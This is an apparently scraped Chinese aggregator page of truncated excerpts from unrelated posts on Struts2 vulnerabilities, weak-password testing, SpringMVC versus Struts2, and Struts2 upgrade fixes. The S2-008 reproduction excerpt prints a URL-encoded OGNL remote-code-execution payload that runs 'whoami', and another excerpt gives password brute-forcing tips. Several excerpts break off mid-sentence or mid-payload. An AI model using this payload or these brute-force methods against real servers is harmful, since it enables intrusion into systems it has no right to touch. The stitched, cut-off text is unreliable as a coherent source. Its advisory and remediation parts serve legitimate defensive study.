struts2漏洞

常规web***测试漏洞描述及修复建议

别来无恙 提交于 2020-03-30 21:06:39
Apache样例文件泄漏 测试方法   在链接的根目录中添加examples或者docs目录进行访问判断! 漏洞描述  apache一些样例文件没有删除,可能存在cookie、session伪造,进行后台登录操作 修复建议  1、删除样例文件  2、对apache中web.xml进行相关设置 弱口令 测试方法   先手工尝试一些最基本的弱口令,如admin/admin、admin/123456、admin/888888等,如果不行,使用暴力破解工具进行暴力破解,如使用burpsuite,另外推荐一个小技巧,使用暴力破解的时候,弱口令使用2到3个常见的,然后用户名使用人名拼音top500! 漏洞描述   由于系统中存在有弱口令,导致***者通过弱口令可轻松登录系统中,从而进行下一步的***,如上传webshell,获取敏感数据!   另外***者利用弱口令登录网站管理后台,可任意增删改等操作,从而造成负面影响! 修复建议   1、 建议强制用户首次登录时修改默认口令,或是使用用户自定义初始密码的策略;   2、 完善密码策略,信息安全最佳实践的密码策略为8位(包括)以上字符,包含数字、大小写字母、特殊字符中的至少3种。   3、对管理后台进行访问控制,修改后台弱口令,加强口令强度并定期修改。   4、增加验证机制,防爆破机制,限制ip+cookie访问次数。 明文传输登录口令

springmvc和struts2的区别

泄露秘密 提交于 2020-01-15 09:03:41
谈谈springmvc和struts2的区别 相同点 :二者都是基于mvc的web层的框架,都是负责接收用户浏览器提交的请求参数,通过某些校验操作调用业务层,而后获取到业务层返回的数据,将数据通过某种方式在前台展示。 不同点 :   (1)springmvc是基于方法开发的,struts2是基于类开发的。   (2)因为二者基于的出发点不同,所以在接收请求参数时区别比较大。     springmvc是通过参数绑定接收浏览器请求参数(方法上各种形参(request、response、session、Model、ModelMap、简单类型、简单pojo、包装类pojo)浏览器的请求参数),方法执行结束,形参数据就会销毁。    struts2是通过类中的成员变量接收浏览器请求参数的。   (3)由于接收请求参数方式的不同     springmvc:因为方法之间是线程隔离的,所以springmvc支持单例和多例的开发方式。    struts2:成员变量在开发中多线程会存在线程安全问题,所以struts2只能支持多例的开发方式。  (4)springmvc是通过存储数据ModelAndView,在前台页面通过jstl(默认)展示数据的    struts2是通过值栈存储数据,在页面通过OGNL展示数据的 还有一点扩展的,想起来就大概说说  

SpringMVC 、Struts2之间的区别

匿名 (未验证) 提交于 2019-12-03 00:09:02
一、Spring与SpringMVC的区别: spring是一个开源框架,是为了解决企业应用程序开发,功能如下: 功能:使用基本的JavaBean代替EJB,并提供了更多的企业应用功能 范围:任何Java应用 Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。 1、轻量――从大小与开销两方面而言Spring都是轻量的。完整的Spring框架可以在一个大小只有1MB多的JAR文件里发布。并且Spring所需的处理开销也是微不足道的。此外, Spring是非侵入式的:典型地,Spring应用中的对象不依赖于Spring的特定类。 2、控制反转――Spring通过一种称作控制反转(IoC)的技术促进了松耦合。当应用了IoC,一个对象依赖的其它对象会通过被动的方式传递进来,而不是这个对象自己创建或者查找依赖对象。你可以认为IoC与JNDI相反――不是对象从容器 中查找依赖,而是容器在对象初始化时不等对象请求就主动将依赖传递给它。 3、面向切面――Spring提供了面向切面编程的丰富支持,允许通过分离应用的业务逻辑与系统级服务(例如审计(auditing)和事务(transaction)管理)进行内聚性的开发。应用对象只实现它们应该做的――完成业务逻辑―― 仅此而已。它们并不负责(甚至是意识)其它的系统级关注点,例如日志或事务支持。 4、容器―

Apache Struts2远程代码执行漏洞(S2-008)复现

匿名 (未验证) 提交于 2019-12-02 23:57:01
漏洞原理:主要是利用对传入参数没有严格限制,导致多个地方可以执行恶意代码,传入?debug=command&expression=即可执行OGNL表达式 寻找poc:debug=command&expression=%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse%2c%23f%3d%23_memberAccess.getClass%28%29.getDeclaredField%28%22allowStaticMethodAccess%22%29%2c%23f.setAccessible%28true%29%2c%23f.set%28%23_memberAccess%2ctrue%29%2c%23a%3d@java.lang.Runtime@getRuntime%28%29.exec%28%22whoami%22%29.getInputStream%28%29%2c%23b%3dnew java.io.InputStreamReader%28%23a%29%2c%23c%3dnew java.io.BufferedReader%28%23b%29%2c%23d%3dnew char%5b50000%5d%2c%23c.read%28%23d%29%2c%23genxor%3d

Struts2系列漏洞起始篇

匿名 (未验证) 提交于 2019-12-02 23:32:01
前言 到目前位置struts2的漏洞编号已经到了S2-057,一直想系统的学习下Struts2的漏洞,但由于工作量较大,一直搁浅。最近由于工作需要,借此机会来填下坑。个人认为一个框架漏洞出来了仅仅看下别人分析的文章是远远不够,因为这些文章往往都只针对个别漏洞,可能框架中还存在类似的漏洞你依然发现不了。所以我说需要系统的学习下,从框架的源码开始分析它的工作流程(当然这里我会有所取舍,全部都讲没意义),同时这样也会加深自己对该框架的理解,之后如果一个新的漏洞出来了,你可以仅根据官方的公告或变动的代码很简单地还原整个漏洞,同时这样做对代码审计也会有一定的帮助。这是我struts2系列文章的第一篇,篇幅会比较长(实际上分析源码的地方我已经省了很多)。之后我还会写spring、tomcat等系列的漏洞分析文章。 准备工作 我使用的是eclipse+struts-core2.1.6,struts2的各版本是由些许区别的,但是大致流程都是相同的,这里采用较老的版本是因为S2早期的漏洞都可以在里面找到,方便分析。 Struts2的工作流程 在原生的jsp+servlet项目中,常用会到Filter过滤器来过滤一些参数等等,这里struts2就是将自己的核心过滤器配置在web.xml中,这样可以让指定的HTTP请求都经过Struts2。早期struts2的核心过滤器是FilterDispathcer

Struts 2.0.0 – Struts Struts 2.3.24.1 漏洞解决办法

落花浮王杯 提交于 2019-12-02 21:02:04
背景介绍: Struts2 是全球使用最广泛的 Java web 服务端框架之一。Struts2 是 Struts 的下一代产品,是在 Struts1 和 WebWork 的技术基础上进行了合并的全新的 Struts2 框架。 在此之前 S2-005,S2-009,S2-013,S2-016,S2-20 都存在远程命令执行漏洞,使得大量的网站系统遭受入侵。因此,该漏洞一经曝光就在安全圈内引起轩然大波。 漏洞成因: Struts2的标签库使用OGNL[Object-Graph Navigation Language,一种功能强大的表达式语言]表达式来访问ActionContext中的对象数据。为了能够访问到ActionContext中的变量,Struts2将ActionContext设置为OGNL的上下文,并将OGNL的跟对象加入ActionContext中。 在Struts2中,如下的标签就调用了OGNL进行取值。 <p>parameters: <s:property value="#parameters.msg" /></p> Struts2会解析value中的值,并当作OGNL表达式进行执行,获取到parameters对象的msg属性。S2-029仍然是依靠OGNL进行远程代码执行。 如果使用Struts2的web应用将用户提交的数据未经过滤

strut2 升级至2.3.20

谁说我不能喝 提交于 2019-12-02 20:29:48
问题现象: Apache Struts s2-005 远程代码执行漏洞(CVE-2010-1870) 受影响版本: Struts 2.0.0 - Struts 2.1.8.1 漏洞描述: 在Struts2中访问OGNL的上下文对象必须要使用#符号,S2-003的修复方案中对#号进行过滤,但是没有考虑到unicode编码情况,导致\u0023或者8进制\43绕过。 http://struts.apache.org/docs/s2-005.html Apache Struts s2-008 远程代码执行漏洞(CVE-2012-0392) 受影响版本: Struts 2.1.0 - Struts 2.3.1 漏洞描述: Struts2框架存在一个DevMode模式,方便开发人员调试程序。如果启用该模式,攻击者可以构造特定代码导致OGNL表达式执行,以此对主机进行入侵。 http://struts.apache.org/docs/s2-008.html Apache Struts s2-016 远程代码执行漏洞(CVE-2013-2251) 受影响版本: Struts 2.0.0 - Struts 2.3.15 漏洞描述: 在Struts2中,DefaultActionMapper类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀

关于struts2漏洞问题及解决办法

梦想的初衷 提交于 2019-12-01 12:50:20
关于Struts2漏洞引起的问题我就不详细细说了,最近在各大网站及论坛上都有描述,上面都列出了具体的解决办法对策,对我来说,刚好遇到有现实的案例去解决,在参考了各大论坛、博客的文档之后做下总结,从Struts2.0.11升级到Struts2.3.15的经历,之间看了很多的博客,大概花了半天的时间,基本解决了问题。废话不多说直接来操作吧。 首先肯定要升级struts2的版本,官方2.3.15.1版本下载struts2.3.15.1地址,具体下载地址: http://mirrors.hust.edu.cn/apache//struts/binaries/struts-2.3.15.1-all.zip 下载之后,需要用到如下几个jar包: commons-fileupload-1.3.jar commons-io-2.0.1.jar commons-lang3-3.1.jar freemarker-2.3.19.jar (替换) javassist-3.11.0.GA.jar (新增) ognl-3.0.6.jar(替换) struts2-core-2.3.15.1.jar (替换) struts2-dojo-plugin-2.3.15.1.jar struts2-json-plugin-2.3.15.1.jar struts2-junit-plugin-2.3.15.1.jar

Struts2最新OGNL漏洞

試著忘記壹切 提交于 2019-12-01 12:48:22
There are many Struts 2 developers familiar with the Struts 2 development mode on which more verbose logs are produced and handy resource reloading is done on a request basis to avoid restarting the server every time we change a property, validator and so on. What it is not so well known (actually it doesn’t even appear in the Struts 2 devmode site ) is that it enables a OGNL injection backdoor allowing the developers to check their Value Stacks with ease and from a handy OGNL console or request parameter. This handy feature for developers turns into a security nightmare if application is

SpringMVC 、Struts2之间的区别

我是研究僧i 提交于 2019-11-30 02:30:12
一、Spring与SpringMVC的区别: spring是一个开源框架,是为了解决企业应用程序开发,功能如下: 功能:使用基本的JavaBean代替EJB,并提供了更多的企业应用功能 范围:任何Java应用 Spring是一个轻量级的控制反转(IoC)和面向切面(AOP)的容器框架。 1、轻量——从大小与开销两方面而言Spring都是轻量的。完整的Spring框架可以在一个大小只有1MB多的JAR文件里发布。并且Spring所需的处理开销也是微不足道的。此外, Spring是非侵入式的:典型地,Spring应用中的对象不依赖于Spring的特定类。 2、控制反转——Spring通过一种称作控制反转(IoC)的技术促进了松耦合。当应用了IoC,一个对象依赖的其它对象会通过被动的方式传递进来,而不是这个对象自己创建或者查找依赖对象。你可以认为IoC与JNDI相反——不是对象从容器 中查找依赖,而是容器在对象初始化时不等对象请求就主动将依赖传递给它。 3、面向切面——Spring提供了面向切面编程的丰富支持,允许通过分离应用的业务逻辑与系统级服务(例如审计(auditing)和事务(transaction)管理)进行内聚性的开发。应用对象只实现它们应该做的——完成业务逻辑—— 仅此而已。它们并不负责(甚至是意识)其它的系统级关注点,例如日志或事务支持。 4、容器—